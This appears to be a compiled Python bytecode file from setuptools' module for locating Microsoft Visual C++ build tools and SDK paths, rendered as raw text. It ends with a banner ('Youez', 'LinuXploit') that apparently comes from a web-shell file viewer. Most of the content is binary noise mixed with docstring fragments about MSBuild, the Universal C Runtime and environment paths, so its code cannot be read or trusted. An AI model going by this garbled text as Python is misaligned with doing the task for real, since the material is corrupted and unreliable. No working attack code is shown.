S:H=(d URS:Hn/nU(aHUURVs/sH-n[RRURU5PM/ sn-
nU(aHUURVs/sH-n[RRURU5PM/ sn-
nU$s snfs snf)zF
Microsoft .NET Framework Tools.

Return
------
list of str
    paths
r�Tr!)rWrlr�r2r7r6r-rCr`rarbr:rHr>)r%rWrl�	include32�	include64r�r�s       r�FxTools�EnvironmentInfo.FxTools�s���W�W��
�W�W���;�;�$���I��,�,�.�.�J�r�7H�7H�7J�3J�I��(�(�*�A�b�.?�.?�.A�I����'�1�M�R�]�]�g�5M�I�����@B�@U�@U��@U�������R�.�.��4�@U��
�E���@B�@U�@U��@U�������R�.�.��4�@U��
�E������s�4E�4Ec��URS:dURR(d/$URR	SS9n[
RRURRSU35/$)zN
Microsoft .Net Framework SDK Libraries.

Return
------
list of str
    paths
r�Tr�zlib\um)r�rlr3rWrAr`rarb)r%rxs  r�NetFxSDKLibraries�!EnvironmentInfo.NetFxSDKLibraries�sa���;�;���T�W�W�%8�%8��I��g�g�(�(�T�(�2�������T�W�W�0�0�V�K�=�2I�J�K�Krc���URS:dURR(d/$[RRURRS5/$)zM
Microsoft .Net Framework SDK Includes.

Return
------
list of str
    paths
r�z
include\um)r�rlr3r`rarbr,s r�NetFxSDKIncludes� EnvironmentInfo.NetFxSDKIncludes�sC���;�;���T�W�W�%8�%8��I������T�W�W�0�0�-�@�A�Arc�l�[RRURRS5/$)zT
Microsoft Visual Studio Team System Database.

Return
------
list of str
    paths
z
VSTSDB\Deploy)r`rarbrlr�r,s r�VsTDb�EnvironmentInfo.VsTDbs'�������T�W�W�1�1�3C�D�E�Erc��URS:a/$URS:a0URRnURR	SS9nOURR
nSnSURSSU3n[RRX5/nURS:�a$U[RRXS	5/-
nU$)
z>
Microsoft Build Engine.

Return
------
list of str
    paths
r�r�Tr�rzMSBuild\r�z\bin�Roslyn)	r�rlr�rWr>r�r`rarb)r%�	base_pathrxra�builds     r�MSBuild�EnvironmentInfo.MSBuilds����;�;����I�
�[�[�4�
����/�/�I��'�'�-�-�d�-�;�K����,�,�I��K��4�;�;�t�,�D��
�>�������i�.�/���;�;�$���b�g�g�l�l�9�H�=�>�>�E��rc��URS:a/$[RRURR
S5/$)zD
Microsoft HTML Help Workshop.

Return
------
list of str
    paths
r�zHTML Help Workshop)r�r`rarbrlr�r,s r�HTMLHelpWorkshop� EnvironmentInfo.HTMLHelpWorkshop4s8���;�;����I������T�W�W�4�4�6J�K�L�Lrc�"�URS:a/$URRSS9n[RRURRS5nURn[RRX#SU35/$)zS
Microsoft Universal C Runtime SDK Libraries.

Return
------
list of str
    paths
r�Tr�r�ucrt)	r�rWrAr`rarbrlr*�_ucrt_subdir)r%rxrr�s    r�
UCRTLibraries�EnvironmentInfo.UCRTLibrariesCsv���;�;����I��g�g�(�(�T�(�2���g�g�l�l�4�7�7�5�5�u�=���#�#�������S�I�T�+��"?�@�A�Arc���URS:a/$[RRURR
S5n[RRXRS35/$)zQ
Microsoft Universal C Runtime SDK Include.

Return
------
list of str
    paths
r�rer�)r�r`rarbrlr*r�)r%res  r�UCRTIncludes�EnvironmentInfo.UCRTIncludesUsW���;�;����I��'�'�,�,�t�w�w�9�9�9�E�������W�):�):�(;�4�&@�A�B�Brc�J�URRnU(aUS3$S$)zQ
Microsoft Universal C Runtime SDK version subdir.

Return
------
str
    subdir
r;r)rlr-r�s  rr��EnvironmentInfo._ucrt_subdires&���'�'�4�4��#*�7�)�2��2��2rc�f�SURs=:�aS:�a/$ URR/$)z;
Microsoft Visual F#.

Return
------
list of str
    paths
r�r�)r�rlr#r,s r�FSharp�EnvironmentInfo.FSharprs4���$�+�+�$��$��I�%����(�(�)�)rc�F^^�SURS3mURRSS9RS5m/nURR
n[RRURSS55n[RRU5(a[[RRU[R"U5S5nX[RRUS	5/-
nU[RRUS
5/-
nSURS-S
3S[UR5S-S
34nUU4Sj[R "X55n[#[%[RR&U5S5$)zc
Microsoft Visual C++ runtime redistributable dll.

Returns the first suitable path found or None.
�	vcruntimez0.dllTr�r;z\Toolsz\Redistr��onecore�redistzMicrosoft.VC�
z.CRTc3�l># �UH)up[RRUTUT5v� M+ g7frU)r`rarb)rXrZ�crt_dirrxr�s   ��rr[�2EnvironmentInfo.VCRuntimeRedist.<locals>.<genexpr>�s1����
�%J�!��
�G�G�L�L���g�y�A�A�%J�s�14N)r�rWrA�striprlr�r`ra�dirnamer#r�rbr��intr�r�r�r^�filter�isfile)r%�prefixes�
tools_path�redist_path�crt_dirs�candidate_pathsrxr�s      @@r�VCRuntimeRedist�EnvironmentInfo.VCRuntimeRedist�sM��� ����}�E�2�	��g�g�(�(�T�(�2�8�8��>�����W�W�)�)�
��g�g�o�o�j�&8�&8��J�&O�P��
�7�7�=�=��%�%��'�'�,�,�{�B�J�J�{�4K�B�4O�P�K��b�g�g�l�l�;�	�&J�K�K�H��R�W�W�\�\�*�h�7�8�8���4�;�;��+�,�D�1��3�t�{�{�+�b�0�1��6�
��
�%.�%6�%6�x�%J�
���F�2�7�7�>�>�?�;�T�B�Brc���[URSURURURUR
/U5URSURURURURUR/U5URSURURURUR/U5URSURURURUR UR"URUR$UR&UR(/	U5S9nUR*S:�a UR,(aUR,US'U$)z�
Return environment dict.

Parameters
----------
exists: bool
    It True, only return existing paths.

Return
------
dict
    environment
rerrfra)rerrfra�rg)rd�_build_pathsr}r�r�r�r�r�r�r�r�r�r�r�ryr�r�r�r�r�r�r�r�)r%�exists�envs   r�
return_env�EnvironmentInfo.return_env�sR����%�%���O�O��O�O��%�%��)�)�	��	��!�!���$�$��$�$��L�L��&�&��*�*���
��%�%���!�!�4�<�<��1A�1A�4�>�>�R���
�"�"���L�L��L�L��J�J��M�M��M�M��L�L��L�L��)�)��K�K�
���7*
��V�;�;�"���!5�!5�)-�)=�)=�C�%�&��
rc��[RRU5n[R"US5R[R5n[R"XE5nU(a-[[[RRU55OUnU(d2UR5S3n[RRU5e[!U5n	[RR#U	5$)a�
Given an environment variable name and specified paths,
return a pathsep-separated string of paths containing
unique, extant, directories from those paths and from
the environment variable. Raise an error if no paths
are resolved.

Parameters
----------
name: str
    Environment variable name
spec_path_lists: list of str
    Paths
exists: bool
    It True, only return existing paths.

Return
------
str
    Pathsep-separated paths
rz environment variable is empty)r��chain�
from_iterabler
rOr�r`�pathsepr�r�rar�r�r�r�r�rrb)
r%r��spec_path_listsr��
spec_paths�	env_pathsrw�extant_pathsr��unique_pathss
          rr��EnvironmentInfo._build_paths�s���.�_�_�2�2�?�C�
��K�K��b�)�/�/��
�
�;�	����
�6��=C�t�F�2�7�7�=�=�%�8�9�����Z�Z�\�N�"@�A�C��"�"�9�9�#�>�>�&�|�4���z�z���|�,�,r)rWr�rl)NrrHra)T)r��boolrIrd)#rrrrrNr&rPr�r�ryr}r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrjrj{s���.?��	��	��	��	��L��L�&�
��
��L��L�(�M��M��0��0�d�C��C�&����2�%��%�N�	'��	'�!3�F�
3��
3��>��>�����<�
L��
L��B��B��	F��	F�����6�M��M��B��B�"�
C��
C��
3��
3��*��*�� C�� C�D;�z-rrj)rN�
__future__rr�r�r�r`�os.path�platform�typingrr�more_itertoolsr�distutils.errorsr��typing_extensionsrr�systemrr
�dictrhrrRr�rdrjrrr�<module>r
s����#����	���+�*���<�����*�i�7���!�!�#�f�G�^�$�v
�v
�rz�z�zQ/�Q/�h1�y�1�E
-�E
-r

Youez - 2016 - github.com/yon3zu
LinuXploit